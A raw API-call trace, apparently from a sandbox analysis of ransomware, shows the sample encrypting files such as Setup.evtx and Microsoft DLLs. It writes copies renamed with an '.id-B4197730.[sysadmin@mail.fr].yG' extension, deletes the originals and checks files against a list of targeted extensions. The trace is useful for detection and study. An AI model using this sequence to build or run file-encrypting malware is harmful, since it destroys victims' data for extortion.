	[0054.116] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0054.116] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.116] CloseHandle (hObject=0x2e0) returned 1
	[0054.117] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.117] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.118] CloseHandle (hObject=0x2ec) returned 1
	[0054.119] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0054.119] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1
	[0054.119] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.119] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.119] lstrlenW (lpString=".doc") returned 4
	[0054.119] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString=".docx") returned 5
	[0054.119] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.119] lstrlenW (lpString=".pdf") returned 4
	[0054.119] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString=".xls") returned 4
	[0054.119] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString=".xlsx") returned 5
	[0054.119] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.119] lstrlenW (lpString=".ppt") returned 4
	[0054.119] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.119] lstrlenW (lpString=".zip") returned 4
	[0054.119] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString=".rar") returned 4
	[0054.119] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.119] lstrlenW (lpString=".bz2") returned 4
	[0054.119] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.120] lstrlenW (lpString=".7z") returned 3
	[0054.120] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.120] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.120] lstrlenW (lpString=".dbf") returned 4
	[0054.120] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.120] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.120] lstrlenW (lpString=".1cd") returned 4
	[0054.850] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.850] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.850] lstrlenW (lpString=".jpg") returned 4
	[0054.850] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString=".doc") returned 4
	[0054.851] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".docx") returned 5
	[0054.851] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.851] lstrlenW (lpString=".pdf") returned 4
	[0054.851] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".xls") returned 4
	[0054.851] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".xlsx") returned 5
	[0054.851] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.851] lstrlenW (lpString=".ppt") returned 4
	[0054.851] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString=".zip") returned 4
	[0054.851] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".rar") returned 4
	[0054.851] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".bz2") returned 4
	[0054.851] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString=".7z") returned 3
	[0054.851] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString=".dbf") returned 4
	[0054.851] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString=".1cd") returned 4
	[0054.851] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.851] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0054.851] lstrlenW (lpString=".jpg") returned 4
	[0054.851] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.851] lstrcmpiW (lpString1=".sys", lpString2=".yG") returned -1
	[0054.852] lstrlenW (lpString="pagefile.sys") returned 12
	[0054.852] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString=".doc") returned 4
	[0054.852] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString=".docx") returned 5
	[0054.852] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0054.852] lstrlenW (lpString=".pdf") returned 4
	[0054.852] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString=".xls") returned 4
	[0054.852] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0054.852] lstrlenW (lpString=".xlsx") returned 5
	[0054.852] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0054.852] lstrlenW (lpString=".ppt") returned 4
	[0054.852] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString=".zip") returned 4
	[0054.852] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0054.852] lstrlenW (lpString=".rar") returned 4
	[0054.852] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString=".bz2") returned 4
	[0054.852] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString=".7z") returned 3
	[0054.852] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString=".dbf") returned 4
	[0054.852] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString=".1cd") returned 4
	[0054.852] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0054.852] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.852] lstrlenW (lpString=".jpg") returned 4
	[0054.853] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString=".doc") returned 4
	[0054.853] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString=".docx") returned 5
	[0054.853] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0054.853] lstrlenW (lpString=".pdf") returned 4
	[0054.853] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString=".xls") returned 4
	[0054.853] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0054.853] lstrlenW (lpString=".xlsx") returned 5
	[0054.853] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0054.853] lstrlenW (lpString=".ppt") returned 4
	[0054.853] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString=".zip") returned 4
	[0054.853] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0054.853] lstrlenW (lpString=".rar") returned 4
	[0054.853] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString=".bz2") returned 4
	[0054.853] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString=".7z") returned 3
	[0054.853] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString=".dbf") returned 4
	[0054.853] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString=".1cd") returned 4
	[0054.853] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0054.853] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0054.853] lstrlenW (lpString=".jpg") returned 4
	[0054.853] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0054.853] lstrcmpiW (lpString1=".OLB", lpString2=".yG") returned -1
	[0054.854] lstrlenW (lpString="MSADDNDR.OLB") returned 12
	[0054.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0054.854] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=15984) returned 1
	[0054.854] CloseHandle (hObject=0x330) returned 1
	[0054.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20
	[0054.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0054.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0054.855] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.855] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0054.855] GetLastError () returned 0x0
	[0054.855] ReadFile (in: hFile=0x330, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x3e70, lpOverlapped=0x0) returned 1
	[0055.119] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0055.120] ReadFile (in: hFile=0x330, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.120] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xec, lpOverlapped=0x0) returned 1
	[0055.120] SetEndOfFile (hFile=0x32c) returned 1
	[0055.120] CloseHandle (hObject=0x32c) returned 1
	[0055.121] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.121] SetEndOfFile (hFile=0x330) returned 1
	[0055.122] CloseHandle (hObject=0x330) returned 1
	[0055.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.122] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".doc") returned 4
	[0055.123] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0055.123] lstrlenW (lpString=".docx") returned 5
	[0055.123] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0055.123] lstrlenW (lpString=".pdf") returned 4
	[0055.123] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0055.123] lstrlenW (lpString=".xls") returned 4
	[0055.123] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0055.123] lstrlenW (lpString=".xlsx") returned 5
	[0055.123] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0055.123] lstrlenW (lpString=".ppt") returned 4
	[0055.123] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".zip") returned 4
	[0055.123] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0055.123] lstrlenW (lpString=".rar") returned 4
	[0055.123] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0055.123] lstrlenW (lpString=".bz2") returned 4
	[0055.123] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0055.123] lstrlenW (lpString=".7z") returned 3
	[0055.123] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".dbf") returned 4
	[0055.123] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".1cd") returned 4
	[0055.123] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".jpg") returned 4
	[0055.123] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.123] lstrlenW (lpString=".doc") returned 4
	[0055.123] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0055.124] lstrlenW (lpString=".docx") returned 5
	[0055.124] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0055.124] lstrlenW (lpString=".pdf") returned 4
	[0055.124] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0055.124] lstrlenW (lpString=".xls") returned 4
	[0055.124] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0055.124] lstrlenW (lpString=".xlsx") returned 5
	[0055.124] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0055.124] lstrlenW (lpString=".ppt") returned 4
	[0055.124] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.124] lstrlenW (lpString=".zip") returned 4
	[0055.124] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0055.124] lstrlenW (lpString=".rar") returned 4
	[0055.124] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0055.124] lstrlenW (lpString=".bz2") returned 4
	[0055.124] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0055.124] lstrlenW (lpString=".7z") returned 3
	[0055.124] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.124] lstrlenW (lpString=".dbf") returned 4
	[0055.124] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.124] lstrlenW (lpString=".1cd") returned 4
	[0055.124] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0055.124] lstrlenW (lpString=".jpg") returned 4
	[0055.124] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0055.124] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.124] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0055.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.125] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=18624) returned 1
	[0055.125] CloseHandle (hObject=0x330) returned 1
	[0055.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20
	[0055.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.126] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.126] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.126] GetLastError () returned 0x0
	[0055.126] ReadFile (in: hFile=0x330, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0055.187] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0055.188] ReadFile (in: hFile=0x330, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.188] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x112, lpOverlapped=0x0) returned 1
	[0055.188] SetEndOfFile (hFile=0x32c) returned 1
	[0055.188] CloseHandle (hObject=0x32c) returned 1
	[0055.199] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.200] SetEndOfFile (hFile=0x330) returned 1
	[0055.200] CloseHandle (hObject=0x330) returned 1
	[0055.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1
	[0055.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.201] lstrlenW (lpString=".doc") returned 4
	[0055.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".docx") returned 5
	[0055.201] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.201] lstrlenW (lpString=".pdf") returned 4
	[0055.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".xls") returned 4
	[0055.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".xlsx") returned 5
	[0055.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.201] lstrlenW (lpString=".ppt") returned 4
	[0055.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.201] lstrlenW (lpString=".zip") returned 4
	[0055.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".rar") returned 4
	[0055.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".bz2") returned 4
	[0055.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.202] lstrlenW (lpString=".7z") returned 3
	[0055.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString=".dbf") returned 4
	[0055.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString=".1cd") returned 4
	[0055.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString=".jpg") returned 4
	[0055.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString=".doc") returned 4
	[0055.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".docx") returned 5
	[0055.202] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.202] lstrlenW (lpString=".pdf") returned 4
	[0055.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".xls") returned 4
	[0055.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".xlsx") returned 5
	[0055.202] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.202] lstrlenW (lpString=".ppt") returned 4
	[0055.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.202] lstrlenW (lpString=".zip") returned 4
	[0055.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".rar") returned 4
	[0055.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".bz2") returned 4
	[0055.203] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.203] lstrlenW (lpString=".7z") returned 3
	[0055.203] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.203] lstrlenW (lpString=".dbf") returned 4
	[0055.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.203] lstrlenW (lpString=".1cd") returned 4
	[0055.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0055.203] lstrlenW (lpString=".jpg") returned 4
	[0055.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
